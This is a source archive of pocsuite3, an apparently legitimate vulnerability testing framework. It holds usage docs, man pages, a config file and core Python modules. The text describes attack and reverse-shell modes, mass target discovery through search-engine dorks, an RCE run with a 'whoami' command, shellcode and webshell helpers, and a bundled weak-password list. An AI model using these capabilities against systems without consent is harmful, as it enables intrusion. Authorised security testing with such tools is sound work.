[**Quake**](quake) user, The API is a cool and hackable interface. ex: Search web server thinkphp with `app:"ThinkPHP"` keyword. ``` $ pocsuite -r pocs/check_http_status.py --dork-quake 'app:"ThinkPHP"' --thread 10 ``` **--dork-b64** In order to solve the problem of escaping, use --dork-b64 to tell the program that you are passing in base64 encoded dork. ``` $ pocsuite --dork cG9ydDo2Mzc5 --vul-keyword 'redis' --max-page 2 --dork-b64 ``` **--rule** Export suricate rules, default export reqeust and response and The poc directory is /pocs/. Use the --pocs-path parameter to set the directory where the poc needs to be ruled ``` $ pocsuite --rule ``` **--rule-req** In some cases, we may only need the request rule, --rule-req only export request rule. ``` $ pocsuite --rule-req ``` If you have good ideas, please show them on your way. ## Example ``` cli mode # basic usage, use -v to set the log level pocsuite -u http://example.com -r example.py -v 2 # run poc with shell mode pocsuite -u http://example.com -r example.py -v 2 --shell # search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The thread is set to 20 pocsuite -r redis.py --dork service:redis --threads 20 # load all poc in the poc directory and save the result as html pocsuite -u http://example.com --plugins poc_from_pocs,html_report # load the target from the file, and use the poc under the poc directory to scan pocsuite -f batch.txt --plugins poc_from_pocs,html_report # load CIDR target pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # the custom parameters `command` is implemented in ecshop poc, which can be set from command line options pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" console mode poc-console ``` pocsuite3-1.8.10/make.bat000066400000000000000000000000411416712700400151210ustar00rootroot00000000000000cd %~dp0 python3 -m pip install .pocsuite3-1.8.10/makefile000066400000000000000000000015571416712700400152310ustar00rootroot00000000000000SRC_DIR = pocsuite3 MAKE = make .PHONY: prebuildclean install build pypimeta pypi buildupload test flake8 clean prebuildclean: @+python -c "import shutil; shutil.rmtree('build', True)" @+python -c "import shutil; shutil.rmtree('dist', True)" @+python -c "import shutil; shutil.rmtree('pocsuite3.egg-info', True)" install: python3 setup.py install build: @make prebuildclean python3 setup.py sdist --formats=zip bdist_wheel #python3 setup.py bdist_wininst pypimeta: twine register pypi: twine upload dist/* buildupload: @make build #@make pypimeta @make pypi test: tox --skip-missing-interpreters flake8: @+flake8 --max-line-length=120 --exclude .asv,.tox,pocsuite3/thirdparty -j 8 --count --statistics --exit-zero pocsuite3 --ignore E501,F401,F403,W503,W605 clean: rm -rf *.egg-info dist build .tox find $(SRC_DIR) tests -type f -name '*.pyc' -delete pocsuite3-1.8.10/manpages/000077500000000000000000000000001416712700400153145ustar00rootroot00000000000000pocsuite3-1.8.10/manpages/poc-console.1000066400000000000000000000032471416712700400176250ustar00rootroot00000000000000.TH POC-CONSOLE "1" "June 2021" "Manual page for poc-console" .\" .\" 22st June 2021 .\" Man page author: .\" Tian Qiao .\" .SH NAME .I poc-console \- console mode of .B pocsuite3. .SH Legal Disclaimer poc-console is part of pocsuite3. Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B poc-console .SH DESCRIPTION .I poc-console is the console mode of pocsuite3. .I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. .SH OPTIONS poc-console do not have command line options. To see a list of available commands, enter help at the console prompt. .SH "SEE ALSO" The full documentation for .B pocsuite3 is maintained at: .br .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION This manual page documents pocsuite3 version 1.8.10 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team .br <404-team@knownsec.com> .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao .PP pocsuite3-1.8.10/manpages/pocsuite.1000066400000000000000000000143211416712700400172320ustar00rootroot00000000000000.TH POCSUITE "1" "June 2021" "Manual page for pocsuite" .\" .\" 22st June 2021 .\" Man page author: .\" Tian Qiao .\" .SH NAME .I pocsuite3 \- open-sourced remote vulnerability testing framework. .SH Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only. .SH SYNOPSIS .B pocsuite \-h[elp] .br .B pocsuite [options] .br .SH DESCRIPTION .I pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the Knownsec 404 Team. It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. .SH OPTIONS .SS "optional arguments:" .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-\-version\fR Show program's version number and exit .TP \fB\-\-update\fR Update Pocsuite .TP \fB\-v\fR {0,1,2,3,4,5,6} Verbosity level: 0\-6 (default 1) .SS "Target:" .IP At least one of these options has to be provided to define the target(s) .TP \fB\-u\fR URL [URL ...], \fB\-\-url\fR URL [URL ...] Target URL (e.g. "http://www.site.com/vuln.php?id=1") .TP \fB\-f\fR URL_FILE, \fB\-\-file\fR URL_FILE Scan multiple targets given in a textual file .TP \fB\-r\fR POC [POC ...] Load POC file from local or remote from seebug website .TP \fB\-k\fR POC_KEYWORD Filter PoC by keyword, e.g. ecshop .TP \fB\-c\fR CONFIGFILE Load options from a configuration INI file .SS "Mode:" .IP Pocsuite running mode options .TP \fB\-\-verify\fR Run poc with verify mode .TP \fB\-\-attack\fR Run poc with attack mode .TP \fB\-\-shell\fR Run poc with shell mode .SS "Request:" .IP Network request options .TP \fB\-\-cookie\fR COOKIE HTTP Cookie header value .TP \fB\-\-host\fR HOST HTTP Host header value .TP \fB\-\-referer\fR REFERER HTTP Referer header value .TP \fB\-\-user\-agent\fR AGENT HTTP User\-Agent header value (default random) .TP \fB\-\-proxy\fR PROXY Use a proxy to connect to the target URL .TP \fB\-\-proxy\-cred\fR PROXY_CRED Proxy authentication credentials (name:password) .TP \fB\-\-timeout\fR TIMEOUT Seconds to wait before timeout connection (default 30) .TP \fB\-\-retry\fR RETRY Time out retrials times .TP \fB\-\-delay\fR DELAY Delay between two request of one thread .TP \fB\-\-headers\fR HEADERS Extra headers (e.g. "key1: value1\enkey2: value2") .SS "Account:" .IP Telnet404, Shodan, CEye, Fofa account options .TP \fB\-\-login\-user\fR LOGIN_USER Telnet404 login user .TP \fB\-\-login\-pass\fR LOGIN_PASS Telnet404 login password .TP \fB\-\-shodan\-token\fR SHODAN_TOKEN Shodan token .TP \fB\-\-fofa\-user\fR FOFA_USER fofa user .TP \fB\-\-fofa\-token\fR FOFA_TOKEN fofa token .TP \fB\-\-quake\-token\fR QUAKE_TOKEN quake token .TP \fB\-\-censys\-uid\fR CENSYS_UID Censys uid .TP \fB\-\-censys\-secret\fR CENSYS_SECRET Censys secret .SS "Modules:" .IP Modules (Seebug, Zoomeye, CEye, Fofa, Listener) options .TP \fB\-\-dork\fR DORK Zoomeye dork used for search .TP \fB\-\-dork\-zoomeye\fR DORK_ZOOMEYE Zoomeye dork used for search .TP \fB\-\-dork\-shodan\fR DORK_SHODAN Shodan dork used for search .TP \fB\-\-dork\-censys\fR DORK_CENSYS Censys dork used for search .TP \fB\-\-dork\-fofa\fR DORK_FOFA Fofa dork used for search .TP \fB\-\-max\-page\fR MAX_PAGE Max page used in search API .TP \fB\-\-search\-type\fR SEARCH_TYPE search type used in ZoomEye API, web or host .TP \fB\-\-vul\-keyword\fR VUL_KEYWORD Seebug keyword used for search .TP \fB\-\-ssv\-id\fR SSVID Seebug SSVID number for target PoC .TP \fB\-\-lhost\fR CONNECT_BACK_HOST Connect back host for target PoC in shell mode .TP \fB\-\-lport\fR CONNECT_BACK_PORT Connect back port for target PoC in shell mode .TP \fB\-\-tls\fR Enable TLS listener in shell mode .TP \fB\-\-comparison\fR Compare popular web search engines .TP \fB\-\-dork\-b64\fR Whether dork is in base64 format .SS "Optimization:" .IP Optimization options .TP \fB\-\-plugins\fR PLUGINS Load plugins to execute .TP \fB\-\-pocs\-path\fR POCS_PATH User defined poc scripts path .TP \fB\-\-threads\fR THREADS Max number of concurrent network requests (default 1) .TP \fB\-\-batch\fR BATCH Automatically choose defalut choice without asking .TP \fB\-\-requires\fR Check install_requires .TP \fB\-\-quiet\fR Activate quiet mode, working without logger .TP \fB\-\-ppt\fR Hiden sensitive information when published to the network .TP \fB\-\-pcap\fR use scapy capture flow .TP \fB\-\-rule\fR export rules, default export request and response .TP \fB\-\-rule\-req\fR only export request rule .TP \fB\-\-rule\-filename\fR RULE_FILENAME Specify the name of the export rule file .SS "Poc options:" .IP definition options for PoC .TP \fB\-\-options\fR Show all definition options .SH EXAMPLES .PP .br Run poc with verify mode, poc will be only used for vulnerability scanning. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --verify\fR .PP .br Run poc with attack mode, and it may allow hackers/researchers break into labs. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --attack\fR .PP .br Run poc with shell mode, if executed successfully, pocsuite will drop into interactive shell. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --shell\fR .PP .br Using multiple threads, the default number of threads is 1. .PP .br \fI% pocsuite -r poc_example.py -u http://example.com/ --verify --threads 20\fR .PP .br Scan multiple targets given in a textual file. .PP .br \fI% pocsuite -r poc_example.py -f url.txt --verify\fR .PP .br .SH "SEE ALSO" The full documentation for .B pocsuite3 is maintained at: .br .I https://github.com/knownsec/pocsuite3/blob/master/docs/USAGE.md .PP .SH VERSION This manual page documents pocsuite3 version 1.8.10 .SH AUTHOR .br (c) 2014-2021 by Knownsec 404 Team .br <404-team@knownsec.com> .LP This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite3 technology into proprietary software, we sell alternative licenses (contact 404-team@knownsec.com). .PP Manual page started by Tian Qiao .PP pocsuite3-1.8.10/pocsuite.ini000066400000000000000000000050521416712700400160570ustar00rootroot00000000000000[Target] ; target url (e.g. "http://www.site.com/vuln.php?id=1") url = ; scan multiple targets given in a textual file url_file = ; load poc file from local or remote from seebug website poc = ecshop_rce.py ; filter poc by keyword, e.g. cve-2021-22005 poc_keyword = [Mode] ; run poc with verify mode ; run poc with attack mode ; run poc with shell mode mode = verify [Request] ; http cookie header value cookie = ; http host header value host = ; http referer header value referer = ; http user-agent header value (default random) agent = ; use a proxy to connect to the target url proxy = ; proxy authentication credentials (name:password) proxy_cred = ; seconds to wait before timeout connection (default 30) timeout = ; time out retrials times retry = ; delay between two request of one thread delay = ; extra headers (e.g. "key1: value1\nkey2: value2") headers = [Account] ; telnet404 login user login_user = ; telnet404 login password login_pass = ; Shodan token shodan_token = ; fofa user fofa_user = ; fofa token fofa_token = ; quake token quake_token = ; Censys uid censys_uid = ; Censys secret censys_secret = [Modules] ; zoomeye dork used for search dork = ; zoomeye dork used for search dork_zoomeye = ; shodan dork used for search dork_shodan = ; censys dork used for search dork_censys = ; fofa dork used for search dork_fofa = ; quake dork used for search dork_quake = ; max page used in search api max_page = 1 ; search type used in zoomeye api, web or host search_type = host ; seebug keyword used for search vul_keyword = ; seebug ssvid number for target poc ssvid = ; connect back host for target poc in shell mode connect_back_host = ; connect back port for target poc in shell mode connect_back_port = ; enable TLS listener in shell mode enable_tls_listener = False ; compare popular web search engines comparison = False ; whether dork is in base64 format dork_b64 = False [Optimization] ; load plugins to execute plugins = ; user defined poc scripts path pocs_path = ; max number of concurrent network requests (default 1) threads = 1 ; automatically choose defaut choice without asking batch = ; check install_requires check_requires = False ; activate quiet mode, working without logger quiet = False ; hiden sensitive information when published to the network ppt = False ; use scapy capture flow pcap = False ; export suricata rules, default export request and response rule = False ; only export suricata request rule rule_req = False ; specify the name of the export rule file rule_filename = [Poc options] ; show all definition options show_options = True pocsuite3-1.8.10/pocsuite3/000077500000000000000000000000001416712700400154375ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/__init__.py000066400000000000000000000005321416712700400175500ustar00rootroot00000000000000__title__ = 'pocsuite3' __version__ = '1.8.10' __author__ = 'Knownsec 404 Team' __author_email__ = '404-team@knownsec.com' __license__ = 'GPLv2' __copyright__ = 'Copyright 2014-2021 Knownsec 404 Team' __name__ = 'pocsuite3' __package__ = 'pocsuite3' from .lib.core.common import set_paths from .cli import module_path set_paths(module_path()) pocsuite3-1.8.10/pocsuite3/api/000077500000000000000000000000001416712700400162105ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/api/__init__.py000066400000000000000000000062551416712700400203310ustar00rootroot00000000000000from pocsuite3.lib.controller.controller import start from pocsuite3.lib.core.common import (encoder_bash_payload, encoder_powershell_payload, get_host_ipv6, single_time_warn_message) from pocsuite3.lib.core.data import conf, kb, logger, paths from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.enums import PLUGIN_TYPE, POC_CATEGORY, VUL_TYPE from pocsuite3.lib.core.interpreter_option import (OptBool, OptDict, OptFloat, OptInteger, OptIP, OptItems, OptPort, OptString) from pocsuite3.lib.core.option import init, init_options from pocsuite3.lib.core.plugin import PluginBase, register_plugin from pocsuite3.lib.core.poc import Output, POCBase from pocsuite3.lib.core.register import (load_file_to_module, load_string_to_module, register_poc) from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT from pocsuite3.lib.request import requests from pocsuite3.lib.utils import (generate_shellcode_list, get_middle_text, random_str) from pocsuite3.modules.censys import Censys from pocsuite3.modules.ceye import CEye from pocsuite3.modules.fofa import Fofa from pocsuite3.modules.httpserver import PHTTPServer from pocsuite3.modules.listener import (REVERSE_PAYLOAD, bind_shell, bind_tcp_shell, bind_telnet_shell) from pocsuite3.modules.quake import Quake from pocsuite3.modules.seebug import Seebug from pocsuite3.modules.shodan import Shodan from pocsuite3.modules.spider import crawl from pocsuite3.modules.zoomeye import ZoomEye from pocsuite3.modules.interactsh import Interactsh from pocsuite3.shellcodes import OSShellcodes, WebShell __all__ = ('requests', 'PluginBase', 'register_plugin', 'PLUGIN_TYPE', 'POCBase', 'Output', 'AttribDict', 'POC_CATEGORY', 'VUL_TYPE', 'register_poc', 'conf', 'kb', 'logger', 'paths', 'DEFAULT_LISTENER_PORT', 'load_file_to_module', 'load_string_to_module', 'single_time_warn_message', 'CEye', 'Seebug', 'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Censys', 'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip', 'get_listener_port', 'get_results', 'init_pocsuite', 'start_pocsuite', 'get_poc_options', 'crawl', 'OSShellcodes', 'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', 'OptFloat', 'OptString', 'OptItems', 'get_middle_text', 'generate_shellcode_list', 'random_str', 'encoder_bash_payload', 'encoder_powershell_payload', 'get_host_ipv6', 'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell', 'Interactsh') def get_listener_ip(): return conf.connect_back_host def get_listener_port(): return conf.connect_back_port def get_current_poc_obj(): pass def get_poc_options(poc_obj=None): poc_obj = poc_obj or kb.current_poc return poc_obj.get_options() def get_results(): return kb.results def init_pocsuite(options={}): init_options(options) init() def start_pocsuite(): start() pocsuite3-1.8.10/pocsuite3/cli.py000066400000000000000000000041541416712700400165640ustar00rootroot00000000000000import os import sys import threading import time import traceback try: import pocsuite3 except ImportError: sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) from pocsuite3.lib.core.option import init from pocsuite3.lib.core.option import init_options from pocsuite3.lib.core.exception import PocsuiteUserQuitException, PocsuiteSystemException from pocsuite3.lib.core.exception import PocsuiteShellQuitException from pocsuite3.lib.core.common import set_paths from pocsuite3.lib.core.common import banner from pocsuite3.lib.core.common import data_to_stdout from pocsuite3.lib.core.data import logger from pocsuite3.lib.parse.cmd import cmd_line_parser from pocsuite3.lib.controller.controller import start def module_path(): """ This will get us the program's directory """ return os.path.dirname(os.path.realpath(__file__)) def check_environment(): try: os.path.isdir(module_path()) except Exception: err_msg = "your system does not properly handle non-ASCII paths. " err_msg += "Please move the pocsuite's directory to the other location" logger.critical(err_msg) raise SystemExit def main(): """ @function Main function of pocsuite when running from command line. """ try: check_environment() set_paths(module_path()) banner() init_options(cmd_line_parser().__dict__) data_to_stdout("[*] starting at {0}\n\n".format(time.strftime("%X"))) init() try: start() except threading.ThreadError: raise except PocsuiteUserQuitException: pass except PocsuiteShellQuitException: pass except PocsuiteSystemException: pass except KeyboardInterrupt: pass except EOFError: pass except SystemExit: pass except Exception: exc_msg = traceback.format_exc() data_to_stdout(exc_msg) raise SystemExit finally: data_to_stdout("\n[*] shutting down at {0}\n\n".format(time.strftime("%X"))) if __name__ == "__main__": main() pocsuite3-1.8.10/pocsuite3/console.py000066400000000000000000000012351416712700400174540ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- # @Time : 2018/12/25 morning 10:49 # @Author : chenghs # @File : console.py import os import sys try: import pocsuite3 except ImportError: sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir))) from pocsuite3.cli import check_environment, module_path from pocsuite3 import set_paths from pocsuite3.lib.core.interpreter import PocsuiteInterpreter from pocsuite3.lib.core.option import init_options def main(): check_environment() set_paths(module_path()) init_options() poc = PocsuiteInterpreter() poc.start() if __name__ == '__main__': main() pocsuite3-1.8.10/pocsuite3/data/000077500000000000000000000000001416712700400163505ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/data/password-top100.txt000066400000000000000000000012741416712700400220000ustar00rootroot00000000000000admin admin12 admin888 admin8 admin123 sysadmin adminxxx adminx 6kadmin base feitium admins root roots test test1 test123 test2 password aaaAAA111 888888 88888888 000000 00000000 111111 11111111 aaaaaa aaaaaaaa 135246 135246789 123456 654321 12345 54321 123456789 1234567890 0 123qwe 123qweasd qweasd 123asd qwezxc qazxsw qazwsx qazwsxedc 1qaz2wsx zxcvbn asdfgh qwerty qazxdr qwaszx 111111 123123 123321 abcdef abcdefg !@#$%^ !@#$% ~!@#$% %$#@! ^%$#@~! 88888 55555 aaaaa asd123 qweasdzxc zxcvb asdfg qwert 1 2 3 4 5 qwe qwer welcome !@#123 111 12 123 123!@# 123654 123654789 123654789! 123go 1314520 133135136 13572468 19880118 1992724 20080808 3452510 360 360sb 376186027 3est 45189946 4816535 4lertpocsuite3-1.8.10/pocsuite3/lib/000077500000000000000000000000001416712700400162055ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/__init__.py000066400000000000000000000000001416712700400203040ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/controller/000077500000000000000000000000001416712700400203705ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/controller/__init__.py000066400000000000000000000000001416712700400224670ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/controller/controller.py000066400000000000000000000201301416712700400231210ustar00rootroot00000000000000import copy import time from prettytable import PrettyTable from pocsuite3.lib.core.common import data_to_stdout, desensitization from pocsuite3.lib.core.data import conf, cmd_line_options from pocsuite3.lib.core.data import kb from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.exception import PocsuiteValidationException, PocsuiteSystemException from pocsuite3.lib.core.poc import Output from pocsuite3.lib.core.settings import CMD_PARSE_WHITELIST from pocsuite3.lib.core.threads import run_threads from pocsuite3.lib.utils import urlparse from pocsuite3.modules.listener import handle_listener_connection from pocsuite3.modules.listener.reverse_tcp import handle_listener_connection_for_console def runtime_check(): if not kb.registered_pocs: error_msg = "no PoC loaded, please check your PoC file" logger.error(error_msg) raise PocsuiteSystemException(error_msg) def start(): runtime_check() tasks_count = kb.task_queue.qsize() info_msg = "pocsusite got a total of {0} tasks".format(tasks_count) logger.info(info_msg) logger.debug("pocsuite will open {} threads".format(conf.threads)) try: run_threads(conf.threads, task_run) logger.info("Scan completed,ready to print") finally: task_done() if conf.mode == "shell" and not conf.api: info_msg = "connect back ip: {0} port: {1}".format( desensitization(conf.connect_back_host) if conf.ppt else conf.connect_back_host, conf.connect_back_port) logger.info(info_msg) info_msg = "watting for shell connect to pocsuite" logger.info(info_msg) if conf.console_mode: handle_listener_connection_for_console() else: handle_listener_connection() def show_task_result(): if conf.quiet: return if not kb.results: return if conf.mode == "shell": return fields = ["target-url", "poc-name", "poc-id", "component", "version", "status"] if kb.comparison: fields.append("source") fields.append("honey-pot") results_table = PrettyTable(fields) results_table.align["target-url"] = "l" results_table.padding_width = 1 total_num, success_num = 0, 0 for row in kb.results: data = [ row.target, row.poc_name, row.vul_id, row.app_name, row.app_version, row.status, ] if kb.comparison: source, honey = kb.comparison.getinfo(row.target) data.append(source) data.append(honey) results_table.add_row(data) total_num += 1 if row.status == 'success': success_num += 1 data_to_stdout('\n{0}'.format(results_table.get_string(sortby="status", reversesort=True))) data_to_stdout("\nsuccess : {} / {}\n".format(success_num, total_num)) def task_run(): while not kb.task_queue.empty() and kb.thread_continue: target, poc_module = kb.task_queue.get() if not conf.console_mode: poc_module = copy.deepcopy(kb.registered_pocs[poc_module]) poc_name = poc_module.name if conf.pcap: # start capture flow import os import logging os.environ["MPLBACKEND"] = "Agg" logging.getLogger("scapy").setLevel(logging.ERROR) from pocsuite3.lib.utils.pcap_sniffer import Sniffer from scapy.utils import wrpcap sniffer = Sniffer(urlparse(target).hostname) if sniffer.use_pcap: if not sniffer.is_admin: logger.warn("Please use administrator privileges, and the poc will continue to execute without fetching the packet") conf.pcap = False else: sniffer.start() # let scapy start for a while time.sleep(1) else: logger.warn("No libpcap is detected, and the poc will continue to execute without fetching the packet") conf.pcap = False # for hide some infomations if conf.ppt: info_msg = "running poc:'{0}' target '{1}'".format(poc_name, desensitization(target)) else: info_msg = "running poc:'{0}' target '{1}'".format(poc_name, target) logger.info(info_msg) # hand user define parameters if hasattr(poc_module, "_options"): for item in kb.cmd_line: value = cmd_line_options.get(item, "") if item in poc_module.options: poc_module.set_option(item, value) info_msg = "Parameter {0} => {1}".format(item, value) logger.info(info_msg) # check must be option for opt, v in poc_module.options.items(): # check conflict in whitelist if opt in CMD_PARSE_WHITELIST: info_msg = "Poc:'{0}' You can't customize this variable '{1}' because it is already taken up by the pocsuite.".format( poc_name, opt) logger.error(info_msg) raise SystemExit if v.require and v.value == "": info_msg = "Poc:'{poc}' Option '{key}' must be set,please add parameters '--{key}'".format( poc=poc_name, key=opt) logger.error(info_msg) raise SystemExit try: result = poc_module.execute(target, headers=conf.http_headers, mode=conf.mode, verbose=False) except PocsuiteValidationException as ex: info_msg = "Poc:'{}' PocsuiteValidationException:{}".format(poc_name, ex) logger.error(info_msg) result = None if not isinstance(result, Output) and not None: _result = Output(poc_module) if result: if isinstance(result, bool): _result.success({}) elif isinstance(result, str): _result.success({"Info": result}) elif isinstance(result, dict): _result.success(result) else: _result.success({"Info": repr(result)}) else: _result.fail('target is not vulnerable') result = _result if not result: continue if not conf.quiet: result.show_result() result_status = "success" if result.is_success() else "failed" if result_status == "success" and kb.comparison: kb.comparison.change_success(target, True) output = AttribDict(result.to_dict()) if conf.ppt: # hide some information target = desensitization(target) output.update({ 'target': target, 'poc_name': poc_name, 'created': time.strftime("%Y-%m-%d %X", time.localtime()), 'status': result_status }) result_plugins_handle(output) kb.results.append(output) if conf.pcap: sniffer.join(20) if not sniffer.is_alive(): filename = urlparse(target).hostname + time.strftime('_%Y_%m_%d_%H%M%S.pcap') logger.info(f"pcap data has been saved in: {filename}") wrpcap(filename, sniffer.pcap.results) else: logger.error("Thread terminates timeout. Failed to save pcap") # TODO # set task delay def result_plugins_start(): """ run result plugins, such as html report :return: """ for _, plugin in kb.plugins.results.items(): plugin.start() def result_plugins_handle(output): """ run result plugins when execute poc :return: """ for _, plugin in kb.plugins.results.items(): plugin.handle(output) def result_compare_handle(): """ show comparing data from various of search engine :return: """ if not kb.comparison: return kb.comparison.output() def task_done(): show_task_result() result_plugins_start() result_compare_handle() pocsuite3-1.8.10/pocsuite3/lib/core/000077500000000000000000000000001416712700400171355ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/core/__init__.py000066400000000000000000000000001416712700400212340ustar00rootroot00000000000000pocsuite3-1.8.10/pocsuite3/lib/core/clear.py000066400000000000000000000004561416712700400206020ustar00rootroot00000000000000import logging def remove_extra_log_message(): logger_names = [ "paramiko", "paramiko.transport", "websockets", ] for logger_name in logger_names: try: logging.getLogger(logger_name).disabled = True except Exception: pass pocsuite3-1.8.10/pocsuite3/lib/core/common.py000066400000000000000000000670501416712700400210070ustar00rootroot00000000000000import base64 import hashlib import inspect import logging import os import re import select import shlex import socket import struct import subprocess import sys import time import collections import chardet import requests from collections import OrderedDict from functools import wraps from ipaddress import ip_address, ip_network from platform import machine from subprocess import call, Popen, PIPE from colorama.initialise import init as coloramainit from termcolor import colored from pocsuite3.lib.core.convert import stdout_encode from pocsuite3.lib.core.data import conf from pocsuite3.lib.core.data import kb from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.data import paths from pocsuite3.lib.core.decorators import cachedmethod from pocsuite3.lib.core.enums import OS_ARCH, OS from pocsuite3.lib.core.exception import PocsuiteSystemException from pocsuite3.lib.core.log import LOGGER_HANDLER from pocsuite3.lib.core.settings import ( BANNER, BOLD_PATTERNS, IS_WIN, URL_DOMAIN_REGEX, LOCAL_IP_ADDRESS_REGEX, IP_ADDRESS_WITH_PORT_REGEX, IPV6_URL_REGEX, TIMESTAMP, OS_SYSTEM) from pocsuite3.lib.core.settings import IPV6_ADDRESS_REGEX from pocsuite3.lib.core.settings import IP_ADDRESS_REGEX from pocsuite3.lib.core.settings import OLD_VERSION_CHARACTER from pocsuite3.lib.core.settings import POCSUITE_VERSION_CHARACTER from pocsuite3.lib.core.settings import POC_NAME_REGEX from pocsuite3.lib.core.settings import POC_REQUIRES_REGEX from pocsuite3.lib.core.settings import UNICODE_ENCODING from pocsuite3.lib.core.settings import URL_ADDRESS_REGEX try: collectionsAbc = collections.abc except AttributeError: collectionsAbc = collections def read_binary(filename): content = '' with open(filename, 'rb') as f: content = f.read() return content def check_path(path): return True if path and os.path.exists(path) else False def check_file(filename): """ @function Checks for file existence and readability """ valid = True if filename is None or not os.path.isfile(filename): valid = False if valid: try: with open(filename, "rb"): pass except Exception: valid = False if not valid: raise PocsuiteSystemException("unable to read file '%s'" % filename) return valid def set_paths(root_path): """ Sets absolute paths for project directories and files """ paths.POCSUITE_ROOT_PATH = root_path paths.POCSUITE_DATA_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "data") paths.POCSUITE_PLUGINS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "plugins") paths.POCSUITE_POCS_PATH = os.path.join(paths.POCSUITE_ROOT_PATH, "pocs") paths.USER_POCS_PATH = None paths.WEAK_PASS = os.path.join(paths.POCSUITE_DATA_PATH, "password-top100.txt") paths.POCSUITE_HOME_PATH = os.path.expanduser("~") _ = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuite") paths.API_SHELL_HISTORY = os.path.join(_, "api.hst") paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst") paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst") paths.POCSUITE_SHELL_HISTORY = os.path.join(_, "pocsuite.hst") paths.POCSUITE_CONSOLE_HISTORY = os.path.join(_, "console.hst") paths.POCSUITE_TMP_PATH = os.path.join(_, "tmp") paths.POCSUITE_RC_PATH = os.path.join(paths.POCSUITE_HOME_PATH, ".pocsuiterc") paths.POCSUITE_OUTPUT_PATH = paths.get("POCSUITE_OUTPUT_PATH", os.path.join(_, "output")) paths.SHELLCODES_DEV_PATH = os.path.join(paths.POCSUITE_TMP_PATH, "tools") def banner(): """ Function prints pocsuite banner with its version """ _ = BANNER if not getattr(LOGGER_HANDLER, "is_tty", False): _ = clear_colors(_) elif IS_WIN: coloramainit() data_to_stdout(_) def set_color(message, bold=False): if isinstance(message, bytes): message = message.decode(UNICODE_ENCODING) ret = message if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if bold: ret = colored(message, color=None, on_color=None, attrs=("bold",)) return ret def clear_colors(message): ret = message if message: ret = re.sub(r"\x1b\[[\d;]+m", "", message) return ret def boldify_message(message): ret = message if any(_ in message for _ in BOLD_PATTERNS): ret = set_color(message, bold=True) return ret def data_to_stdout(data, bold=False): """ Writes text to the stdout (console) stream """ if 'quiet' not in conf or not conf.quiet: message = "" if isinstance(data, str): message = stdout_encode(data) else: message = data sys.stdout.write(set_color(message, bold)) try: sys.stdout.flush() except IOError: pass return @cachedmethod def extract_regex_result(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given content >>> extract_regex_result(r'a(?P[^g]+)g', 'abcdefg') 'bcdef' """ ret = None if regex and content and "?P" in regex: match = re.search(regex, content, flags) if match: ret = match.group("result") return ret def get_latest_revision(): """ Retrieves latest revision from the offical repository """ ret = None resp = requests.get(url="https://raw.githubusercontent.com/knownsec/pocsuite3/master/pocsuite3/__init__.py") try: content = resp.content ret = extract_regex_result(r"__version__\s*=\s*[\"'](?P[\d.]+)", content) except Exception: pass return ret def poll_process(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while True: data_to_stdout(".") time.sleep(1) return_code = process.poll() if return_code is not None: if not suppress_errors: if return_code == 0: data_to_stdout(" done\n") elif return_code < 0: data_to_stdout(" process terminated by signal {}\n".format(return_code)) elif return_code > 0: data_to_stdout(" quit unexpectedly with return code {}\n".format(return_code)) break def parse_target_url(url): """ Parse target URL """ ret = url if conf.ipv6 and is_ipv6_address_format(url): ret = "[" + ret + "]" if not re.search("^http[s]*://", ret, re.I) and not re.search("^ws[s]*://", ret, re.I): if 